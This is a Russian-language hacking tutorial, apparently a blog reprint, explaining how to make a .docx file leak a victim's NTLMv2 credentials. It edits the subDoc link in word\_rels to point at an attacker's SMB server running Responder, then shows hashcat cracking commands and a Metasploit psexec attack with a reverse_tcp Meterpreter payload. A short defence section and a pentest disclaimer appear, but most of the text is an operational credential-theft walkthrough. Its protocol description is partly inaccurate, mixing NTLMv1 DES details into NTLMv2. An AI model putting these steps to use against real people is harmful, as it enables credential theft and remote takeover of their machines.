Перехват хеша NTLMv2-SSP и брут пароля с помощью документа



Хакеры давно используют документы MS Office как контейнеры для доставки пейлоада. Однако написание макросов и поиск уязвимостей в самих офисных программах — не единственные способы заставить их работать так, как нам нужно. В этой статье мы рассмотрим нетривиальный прием, заставляющий атакуемый компьютер c Windows передать нам по сети учетные данные пользователя при открытии файла .docx.

Сетевой протокол SMB

SMB — это сетевой протокол, который служит в основном для доступа к данным на удаленном компьютере. Говоря проще, когда вы пытаетесь залезть на расшаренный ресурс компьютера, то как раз им и пользуетесь. Выпущен он был в далеком 1983 году, но лишь со времен Windows 2000 стал походить на тот, каким мы его знаем сейчас (например, работать на 445-м порте).
На данный момент существует три основных версии протокола. Существенная разница заключается в командах, пропускной способности (за счет разных вариантов кеширования) и обновлении безопасности (шифрование и заплатки дыр). Плюс разработчики не упускают возможность сделать работу с SMB более удобной, поэтому с каждым релизом в него добавляются разные новые функции (например, восстановление соединения при разрыве).
В рамках данной статьи мы рассматриваем конкретно SMBv2. Нам необходимо знать, что существует механизм защиты Microsoft SMB Protocol. Он основан на двух методах контроля доступа: share-level и user-level.
Для предоставления доступа методом share-level необходимо иметь соответствующий логин и пароль. После успешной аутентификации пользователь получает доступ ко всем данным, которые находятся на удаленном ресурсе.
Метод user-level также берет за основу логин и пароль. Отличие заключается в том, что в этом случае системный администратор задает список доступа, то есть явно указывает, каким пользователям и группам предоставить доступ к ресурсу. Нам интересен и тот и другой метод, так как в обоих случаях способ аутентификации остается неизменным — NTLMv2.
Вся информация в этой статье предоставлена в ознакомительных целях и предназначена исключительно для пентестеров. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалом данной статьи!

Протокол сетевой аутентификации NTLMv2

Нас интересует именно NTLMv2, так как SMBv2, который мы будем рассматривать, использует его. Эта версия протокола сетевой аутентификации появилась во времена Windows NT 4.0 SP4 и с небольшими изменениями дожила до наших дней в составе Windows 10. В NTLMv2 используется одноименный тип рукопожатий (NTLMv2 handshake), считающийся более безопасным, чем устаревшие LM и NTLM первой версии.
Работает все следующим образом.
При открытии документа со ссылкой на сетевую шару клиент (которым в нашем случае будет компьютер предполагаемой жертвы) передает этому серверу команду на получение контента. Для этого он отсылает ему имя пользователя и имя домена, на что сервер запускает процедуру авторизации по типу «запрос/ответ».
Он отправляет клиенту однократно используемое рандомное число — server nonce. В ответ клиент отсылает новый запрос, который содержит другое псевдослучайное число — client nonce и метку времени.
Запросы клиента и сервера объединяются в общий секрет (session nonce), из которого на стороне сервера вычисляется хеш сессии HMAC-MD5 или HMAC-SHA-256 (в зависимости от версии SMB и настроек безопасности).
На стороне клиента хеш сессии шифруется 3-мя ключами DES, генерируемыми из дополненного нулями и разделенного на три блока NT-хеша пользовательского пароля. Это и есть итоговый NTLMv2-ответ, который отправляется серверу.
Сервер объединяет NTLMv2-ответ со своим запросом и вычисляет от него новый хеш HMAC-MD5 или HMAC-SHA-256.
На финальном этапе контроллер домена получает хешированный NTLMv2-ответ вместе с запросами клиента и сервера. Он считывает из своей базы NT-хеш пользовательского пароля и расшифровывает полученный клиентский ответ. Если удачно — серверу возвращается ответ об успешной аутентификации.
Поясню для заядлых брутфорсеров: множество хешей NT составляет 2^128 (или более 340 тысяч дециллионов) вариантов. Средняя скорость брутфорса пар NTLM-хеш — пароль на компе с Core i7 и топовой видеокартой уровня GTX1080 составляет порядка 700 миллионов в секунду (зависит от программы и особенностей конфигурации). Поиск по радужным таблицам на нем же выполняется гораздо быстрее — на скорости около 100 000 миллионов в секунду.

Вопрос к читателю

Как вы думаете, сколько времени потребуется на брутфорс пароля по NTLM-хешу при стандартном математическом ожидании 50% (то есть когда пароль отыскивается в первой половине множества перебираемых вариантов)?
Ответ для ленивых: комп сгорит быстрее.

Описание уязвимости

В конкретном примере рассматривается частный случай атаки Pass the Hash, подробности о которой читай во врезке. Атаковать мы будем с помощью Office Open XML. Это формат хранения офисных документов, и представляет он собой не что иное, как обычный ZIP-архив, в который упакованы текст, графика и остальные данные. Нам необходимо заставить документ обратиться к удаленному (естественно, подконтрольному нам) SMB-серверу, перехватить трафик и выудить оттуда хешированные учетные данные. Для этого воспользуемся возможностью данного формата встраивать в тело документа текст из другого документа (субдокумента).
В частности, в MS Office имеется функция под названием subDoc, о которой и пойдет речь. Сама функция ничего особо злого в себе не несет, так как предназначена она для динамического обновления контента.
К примеру, возьмем два файла: doc1 и doc2. Вставим при помощи функции subDoc текст из doc1 в doc2. Изменим текст в doc1. Теперь при открытии файла doc2 он обратится к источнику текста и внесет те же самые изменения, а точнее — просто обновит содержимое.
Фокус в том, что мы можем модернизировать файл doc2 таким образом, чтобы он ссылался на файл на удаленном сервере (неважно, в локальной сети это будет или за NAT). На этот раз, открывая doc2, Word обратится по SMB-протоколу за содержимым, что позволит нам перехватить трафик и достать оттуда необходимые нам данные. Если файл будет недоступен, то документ просто не сможет обновиться.
Делать мы будем так, чтобы ссылка была вообще не на файл, а просто на сервер по SMB. На том конце, естественно, кто-то встретит нужные пакеты и получит заветный логин (в открытом виде) и NTLMv2-ответ (с которым в итоге и нужно развлекаться). При этом на стороне атакуемого не будет никакой подозрительной активности. Он просто открывает файл.

Pass the Hash

Суть атаки передачи хеша Pass the Hash состоит в том, чтобы вынудить атакуемый компьютер отправить на сетевой узел, подконтрольный хакеру, запрос, содержащий хешированный пароль текущего пользователя. В данной статье рассматривается вариант с использованием ссылки на общий сетевой ресурс в «злонамеренно составленном» документе формата Office Open XML. При открытии файла автоматически выполнится попытка авторизации по SMB без Session Security Flag, для чего отправится стандартный запрос, содержащий зашифрованный NTLM-хеш пароля.
Разумеется, это справедливо только в том случае, если на компьютере жертвы используется SMB-NTLM. Если корпоративная сеть мигрирует на Kerberos, изменится система «запрос/ответ». В ней появится промежуточный сервер, поэтому таким способом хеш перехватить уже не удастся. Подробнее см. доклад (pdf) c конференции Black Hat.

Подготовка к атаке Pass the Hash

Для реализации описанной выше теории нам необходимы четыре вещи:
  1. Любая Linux-машина (какой уж взлом без любимых линуксов).
  2. Пакет Microsoft Word, начиная с 2007.
  3. Прямые или выпрямленные руки.
  4. Компьютер жертвы или его имитация.
В этом эксперименте использовались следующие программы:
  • Ubuntu Server 16.04;
  • MS Windows 7 Ultimate (сборка 7600);
  • пакет MS Office 2010, стандартное издание.
Помимо Windows 7, успешные испытания были проведены на Windows Server 2012 R2, версия 6.3, билд 9600.

Создание вредоносного файла

На GitHub уже выложен инструмент под названием Subdoc Injector, который позволяет одной командой создать вредоносный документ. Его можно скачать и опробовать, но настоящие герои всегда идут в обход.
Создаем 2 файла .doc (doc1 и doc2). В документ doc1 пишем любой текст, сохраняем его и закрываем. Затем открываем doc2. На примере MS Word 2007: открываем вкладку «Вставка» и выбираем «Объект → Объект».

Вставка субдокумента

В открывшемся окне переходим на вкладку «Создание из файла». Заполняем поле «Имя файла», указывая на doc1. Обязательно устанавливаем флаг «Связь с файлом».
После этого в теле документа появится вставка в виде текста из doc1. Не забываем сохранить и закрыть.
Пока все легко и просто. Следующим шагом нам предстоит исследовать глубины структуры документа. «Разобрать» его можно разными способами — это обычный ZIP, поддержка которого изначально есть в Windows.
Кому-то по душе внешние архиваторы, кто-то предпочитает файловые менеджеры с архивными плагинами — у каждого свои преимущества. Я для удобства использовал WinRAR.
Итак, открываем документ выбранным способом и идем в папку word\_rels. Нас интересует файл .rels. Распаковываем его из архива и открываем с помощью «Блокнота». Самая интересная часть — это ссылка на файл.

Ссылка, которую будем менять

Ее необходимо отредактировать таким образом, чтобы она имела вид Target=///IP, где IP — это адрес нашего сервера с запущенным Responder.
Затем сохраняем и закрываем «Блокнот». Упаковываем _rels на свое место, заменив им старую версию. На этом этапе подготовка закончена, переходим к атаке.

Перехват учетной записи утилитой Responder

Нам необходимо иметь установленный Linux (если действия будут проходить за пределами локальной сети, то у нее должен быть белый IP-адрес). Я поднял для теста серверный дистрибутив Ubuntu и клонировал ветку Responder с GitHub. Этот инструмент умеет слушать разные протоколы и выуживать из запросов учетные данные.

git clone https://github.com/SpiderLabs/Responder
В папке Responder открываем в удобном нам редакторе Responder.conf и включаем SMB.
После этого, предварительно посмотрев IP нашего сервера, запускаем новоиспеченный пакет. Запуск необходимо проводить от root. После ключа –I должно идти название сетевого интерфейса, который будет принимать пакеты.
В выводе необходимо, чтобы smb server был в статусе ON.

Запуск Responder

На этом подготовка нашего «перехватчика» завершена.
После того как мы закинем doc2 на компьютер жертвы и дождемся его открытия, он покажет пользователю свое содержимое, как обычный документ, ни о чем не предупредив. Пользователь увидит в нем текст, изначально сохраненный из doc1. По идее, когда Word не может установить связь с файлом, он должен выдать ссылку на него в теле документа, но на практике этого не делает. Подозрение может вызвать разве что необычная вставка текста.
Тем временем на стороне нашего сервера произошли изменения.

Перехваченные данные

Тут все ясно: мы перехватили часть учетных данных (имя пользователя и домен) в открытом виде и NTLMv2-SSP-хеш, который предстоит взломать. Плюсом нам выдан IP-адрес жертвы, а это тоже кое-что.

Брут пароля с помощью HashCat

Для получения пароля в чистом виде придется атаковать NTLMv2-SSP-хеш. Эффективнее использовать перебор по радужным таблицам или атаку по словарю, поскольку брутфорс может затянуться на годы, но для коротких несловарных паролей и он сгодится.
Для начала забираем перехваченную информацию с нашего сервера. Можно через SSH под линукс или воспользоваться старым добрым WinSCP для Windows. Необходимый log-файл будет лежать в каталоге Responder/logs с именем SMB-NTLMv2-SSP-IP.txt (очень даже символично).
Далее можно воспользоваться программой HashCat. Команда будет выглядеть следующим образом:

hashcat –m 5600 [NTLMv2] –a 3 –status –o [file]
Вместо NTLMv2 необходимо подставить NTLMv2-ответ, содержащий зашифрованный хеш перехваченного пароля. Вместо file — файл, в который будет записываться статистика и (если повезет) найденный пароль.
Программа, в соответствии с внесенными данными, сама подберет маску для брута.

Запуск программы HashCat

Использование Metasploit вместо брута

Если вам не нравится медитировать во время перебора паролей, на помощь придет старый добрый Metasploit Framework. У него уже из коробки есть эксплоит для PsExec (упрощенный вариант Telnet).
Запустим Metasploit и выберем эксплоит.

use  exploit/windows/smb/psexec
Следом добавим «полезную нагрузку».

set payload windows/meterpreter/reverse_tcp
Смотрим таблицу данных, которые надо дать программе.

Опции, которые необходимо изменить

Нам нужно передать параметры: RHOST (IP-адрес компьютера жертвы), SMBPass (пароль или его хеш), SMBUser (имя пользователя из перехваченных учетных данных), LHOST (IP-адрес нашего компьютера с Metasploit Framework). Запускаем эксплоит, ловим сессию метерпретера и улыбаемся во все 32 (зуба, не бита)!

Защита от перехвата хеша NTLMv2-SSP

Самый верный способ защиты — это закрыть или отключить SMB, если в нем нет необходимости. Однако при этом вы потеряете целый набор современных сетевых функций. Против данной атаки будет эффективен и переход на аутентификацию Kerberos.

Заключение

Все мои попытки запретить обращение функции к «субдокументу» средствами безопасности Word закончились провалом: не помогает даже запрет на редактирование и отключение ненадежных документов. Более того, любая программа, которая понимает Office Open XML, сможет при открытии обратиться к SMB-серверу, со всеми вытекающими учетными данными (в прямом смысле этого выражения).
Эта функция, как ни странно, не была публично признана как вредоносная. Поэтому на момент написания статьи такой файл не детектируется как потенциально опасный ни одним антивирусом.
В Microsoft также не планировали предпринимать никаких действий по этому поводу. В итоге мы получаем очень легкий в реализации (практически в три клика) способ похитить учетные данные, что совсем не весело.


Комментарии

Популярные сообщения из этого блога